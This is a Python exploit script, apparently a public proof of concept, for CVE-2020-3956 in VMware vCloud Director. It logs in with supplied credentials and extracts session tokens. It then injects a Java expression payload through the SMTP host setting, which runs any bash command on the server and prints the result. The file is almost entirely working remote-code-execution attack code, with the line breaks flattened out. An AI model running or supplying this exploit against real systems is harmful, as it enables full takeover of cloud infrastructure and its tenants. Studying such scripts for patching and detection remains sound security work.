#!/usr/bin/python # Exploit Title: vCloud Director - Remote Code Execution # Exploit Author: Tomas Melicher # Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/ # Date: 2020-05-24 # Vendor Homepage: https://www.vmware.com/ # Software Link: https://www.vmware.com/products/cloud-director.html # Tested On: vCloud Director 9.7.0.15498291 # Vulnerability Description: # VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name. import argparse # pip install argparse import base64, os, re, requests, sys if sys.version_info >= (3, 0): from urllib.parse import urlparse else: from urlparse import urlparse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}" session = requests.Session() def login(url, username, password, verbose): target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path) res = session.get(target_url) match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE) if match: tenant = match.group(1) else: print('[!] can\'t find tenant identifier') return (None,None,None,None) if verbose: print('[*] tenant: %s'%(tenant)) match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE) if match: # Cloud Director 9.* login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0)) res = session.post(login_url, data={'username':username,'password':password}) if res.status_code == 401: print('[!] invalid credentials') return (None,None,None,None) else: # Cloud Director 10.* match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE) if match: login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0)) headers = { 'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))), 'Accept': 'application/json;version=29.0', 'Content-type': 'application/json;version=29.0' } res = session.post(login_url, headers=headers) if res.status_code == 401: print('[!] invalid credentials') return (None,None,None,None) else: print('[!] url for login form was not found') return (None,None,None,None) cookies = session.cookies.get_dict() jwt = cookies['vcloud_jwt'] session_id = cookies['vcloud_session_id'] if verbose: print('[*] jwt token: %s'%(jwt)) print('[*] session_id: %s'%(session_id)) res = session.get(target_url) match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE) if match is None: print('[!] organization not found') return (None,None,None,None) organization = match.group(1) if verbose: print('[*] organization name: %s'%(organization)) match = re.search(r'orgId : \'([^\']+)', res.content) if match is None: print('[!] orgId not found') return (None,None,None,None) org_id = match.group(1) if verbose: print('[*] organization identifier: %s'%(org_id)) return (jwt,session_id,organization,org_id) def exploit(url, username, password, command, verbose): (jwt,session_id,organization,org_id) = login(url, username, password, verbose) if jwt is None: return headers = { 'Accept': 'application/*+xml;version=29.0', 'Authorization': 'Bearer %s'%jwt, 'x-vcloud-authorization': session_id } admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc) res = session.get(admin_url, headers=headers) match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE) if match: version = match.group(1) if verbose: print('[*] detected version of Cloud Director: %s'%(version)) else: version = None print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0') email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id) payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command)) data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>' data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>' data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>' data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload) data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>' res = session.put(email_settings_url, data=data, headers=headers) match = re.search(r'value:\s*\[([^\]]+)\]', res.content) if verbose: print('') try: print(base64.b64decode(match.group(1))) except Exception: print(res.content) parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]') parser.add_argument('-v', action='store_true') parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True) parser.add_argument('-u', metavar='username', required=True) parser.add_argument('-p', metavar='password', required=True) parser.add_argument('-c', metavar='command', help='command to execute', default='id') args = parser.parse_args() url = urlparse(args.t) exploit(url, args.u, args.p, args.c, args.v)